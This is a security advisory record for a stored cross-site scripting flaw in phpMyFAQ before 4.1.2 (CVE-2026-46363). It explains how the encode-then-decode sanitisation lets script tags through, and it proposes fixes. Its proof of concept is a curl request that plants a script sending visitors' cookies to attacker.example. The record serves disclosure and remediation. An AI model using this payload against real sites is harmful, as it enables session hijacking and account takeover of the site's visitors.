{"id":"GHSA-f5p7-2c9q-8896","aliases":["CVE-2026-46363"],"title":"phpMyFAQ has Stored XSS in FAQ Question/Answer via Encode-Decode Bypass of removeAttributes() Sanitization","description":"## Summary\n\nThe FAQ creation and update endpoints in phpMyFAQ apply `FILTER_SANITIZE_SPECIAL_CHARS` (which HTML-encodes input), then immediately call `html_entity_decode()` which reverses the encoding, followed by `Filter::removeAttributes()` which only strips HTML attributes — not tags. This allows `<script>`, `<iframe>`, `<object>`, and `<embed>` tags to be stored in the database and rendered unescaped via `{{ answer|raw }}` and `{{ question|raw }}` in the Twig template, causing JavaScript execution in every visitor's browser.\n\n## Details\n\n**Vulnerable code path (FAQ create — `FaqController.php`):**\n\nAt line 120, the answer content is filtered:\n```php\n$content = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);\n```\n\n`Filter::filterVar()` calls `filterSanitizeString()` (`Filter.php:135-144`) which applies `htmlspecialchars()`, converting `<script>` to `&lt;script&gt;`. The regex `/\\x00|<[^>]*>?/` then finds no literal angle brackets to strip.\n\nAt lines 150-154, the encoded content is decoded and passed to attribute-only sanitization:\n```php\n->setAnswer(Filter::removeAttributes(html_entity_decode(\n    (string) $content,\n    ENT_QUOTES | ENT_HTML5,\n    encoding: 'UTF-8',\n)))\n```\n\n`html_entity_decode()` converts `&lt;script&gt;` back to `<script>`, fully reversing the earlier sanitization. `Filter::removeAttributes()` (`Filter.php:150-196`) only matches and strips `attribute=value` patterns from a known list of HTML attributes (event handlers like `onclick`, `onerror`, etc.) but performs **no tag-level filtering**. A `<script>` tag with no attributes passes through completely unchanged.\n\nThe identical pattern exists in the update endpoint at lines 389-398.\n\n**Rendering sink (`faq.twig`):**\n\n```twig\n<h2 class=\"mb-4 border-bottom\">{{ question | raw }}</h2>\n<article class=\"pmf-faq-body pb-4 mb-4 border-bottom\">{{ answer|raw }}</article>\n```\n\nThe `|raw` filter disables Twig's auto-escaping, causing the stored `<script>` tag to execute in every visitor's browser.\n\nAdditional rendering sinks exist in `search.twig` (line 75, 77) where search results also render FAQ content with `|raw`.\n\n## PoC\n\n**Prerequisites:** Authenticated session with `FAQ_ADD` permission and a valid CSRF token.\n\n**Step 1: Create a malicious FAQ**\n```bash\ncurl -X POST 'https://target/admin/api/faq/create' \\\n  -H 'Cookie: PHPSESSID=<admin_session>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"data\": {\n      \"pmf-csrf-token\": \"<valid_csrf_token>\",\n      \"question\": \"Harmless FAQ Title\",\n      \"answer\": \"Helpful content<script>fetch(\\\"https://attacker.example/steal?c=\\\"+document.cookie)</script>\",\n      \"categories[]\": 1,\n      \"lang\": \"en\",\n      \"tags\": \"\",\n      \"active\": \"yes\",\n      \"sticky\": \"no\",\n      \"keywords\": \"test\",\n      \"author\": \"Admin\",\n      \"email\": \"admin@example.com\",\n      \"comment\": \"n\",\n      \"changed\": \"Initial\",\n      \"notes\": \"\",\n      \"serpTitle\": \"Harmless FAQ\",\n      \"serpDescription\": \"Test\",\n      \"openQuestionId\": 0,\n      \"notifyEmail\": \"\",\n      \"notifyUser\": \"\",\n      \"recordDateHandling\": \"updateDate\"\n    }\n  }'\n```\n\n**Expected response:** `200 OK` with the new FAQ ID.\n\n**Step 2: Verify XSS execution**\n\nNavigate to the public FAQ page (e.g., `https://target/content/1/{faqId}/en/harmless-faq-title.html`). The `<script>` tag in the answer body executes, sending the visitor's cookies to the attacker's server.\n\n## Impact\n\n- **Session hijacking:** An attacker with FAQ creation privileges can steal session cookies from any user (including administrators) who views the FAQ, enabling full account takeover.\n- **Phishing:** The injected script can modify page content to display fake login forms or redirect users to malicious sites.\n- **Worm propagation:** If the attacker captures an admin session, they can create additional malicious FAQs automatically, spreading the attack.\n- **Scope:** Every unauthenticated visitor who views the compromised FAQ is affected. The XSS also fires in search results via `search.twig`.\n\n## Recommended Fix\n\nReplace the encode→decode→removeAttributes chain with a proper HTML sanitizer that operates on the DOM level. Use a library like [HTML Purifier](http://htmlpurifier.org/) or Symfony's [HtmlSanitizer](https://symfony.com/doc/current/html_sanitizer.html) component.\n\n**Immediate fix — add tag-level filtering to `removeAttributes()`** (`Filter.php`):\n\n```php\npublic static function removeAttributes(string $html = ''): string\n{\n    // Strip dangerous HTML tags entirely\n    $dangerousTags = ['script', 'iframe', 'object', 'embed', 'applet', 'form', 'base', 'link', 'meta'];\n    foreach ($dangerousTags as $tag) {\n        $html = preg_replace('/<' . $tag . '\\b[^>]*>.*?<\\/' . $tag . '>/is', '', $html);\n        $html = preg_replace('/<' . $tag . '\\b[^>]*\\/?>/is', '', $html);\n    }\n\n    // Also sanitize javascript: URIs in href/src attributes\n    $html = preg_replace('/\\b(href|src)\\s*=\\s*[\"\\']?\\s*javascript:/i', '$1=\"', $html);\n\n    $keep = [\n        'href', 'src', 'title', 'alt', 'class', 'style', 'id',\n        'name', 'size', 'dir', 'rel', 'rev', 'target', 'width',\n        'height', 'controls',\n    ];\n    // ... rest of existing attribute removal logic\n```\n\n**Recommended long-term fix:** Replace custom sanitization with Symfony's HtmlSanitizer, which is already a project dependency ecosystem:\n\n```php\nuse Symfony\\Component\\HtmlSanitizer\\HtmlSanitizer;\nuse Symfony\\Component\\HtmlSanitizer\\HtmlSanitizerConfig;\n\n$config = (new HtmlSanitizerConfig())\n    ->allowSafeElements()\n    ->blockElement('script')\n    ->blockElement('iframe')\n    ->blockElement('object')\n    ->blockElement('embed');\n\n$sanitizer = new HtmlSanitizer($config);\n$cleanAnswer = $sanitizer->sanitize($rawAnswer);\n```","severity":"medium","score":5.4,"published":"2026-05-06T20:18:02.000Z","modified":"2026-09-10T03:51:05.351Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"phpmyfaq/phpmyfaq","ranges":[{"events":[{"introduced":"0"},{"fixed":"4.1.2"}],"type":"ECOSYSTEM"}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3","2.9.0-rc4","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-RC","3.0.0-RC.2","3.0.0-alpha","3.0.0-alpha.2","3.0.0-alpha.3","3.0.0-alpha.4","3.0.0-beta","3.0.0-beta.2","3.0.0-beta.3","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.0-RC","3.1.0-alpha","3.1.0-alpha.2","3.1.0-alpha.3","3.1.0-beta","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0-RC","3.2.0-RC.2","3.2.0-RC.4","3.2.0-alpha","3.2.0-beta","3.2.0-beta.2","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.18","4.0.19","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-RC","4.1.0-RC.2","4.1.0-RC.4","4.1.0-RC.5","4.1.0-RC.6","4.1.0-RC.7","4.1.0-alpha","4.1.0-alpha.2","4.1.0-alpha.3","4.1.0-beta","4.1.0-beta.2","4.1.1"],"fixed":["4.1.2"]},{"ecosystem":"Packagist","name":"thorsten/phpmyfaq","ranges":[{"events":[{"introduced":"0"},{"fixed":"4.1.2"}],"type":"ECOSYSTEM"}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3","2.9.0-rc4","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-RC","3.0.0-RC.2","3.0.0-alpha","3.0.0-alpha.2","3.0.0-alpha.3","3.0.0-alpha.4","3.0.0-beta","3.0.0-beta.2","3.0.0-beta.3","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.0-RC","3.1.0-alpha","3.1.0-alpha.2","3.1.0-alpha.3","3.1.0-beta","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0-RC","3.2.0-RC.2","3.2.0-RC.4","3.2.0-alpha","3.2.0-beta","3.2.0-beta.2","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.18","4.0.19","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-RC","4.1.0-RC.2","4.1.0-RC.4","4.1.0-RC.5","4.1.0-RC.6","4.1.0-RC.7","4.1.0-alpha","4.1.0-alpha.2","4.1.0-alpha.3","4.1.0-beta","4.1.0-beta.2","4.1.1"],"fixed":["4.1.2"]}],"sourceAffected":[],"references":["https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-f5p7-2c9q-8896","https://nvd.nist.gov/vuln/detail/CVE-2026-46363","https://github.com/thorsten/phpMyFAQ","https://www.vulncheck.com/advisories/phpmyfaq-stored-xss-in-faq-question-answer-via-encode-decode-bypass"],"sources":[{"name":"OSV","id":"GHSA-f5p7-2c9q-8896","modified":"2026-09-10T03:51:05.351774153Z","url":"https://osv.dev/vulnerability/GHSA-f5p7-2c9q-8896"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4}]}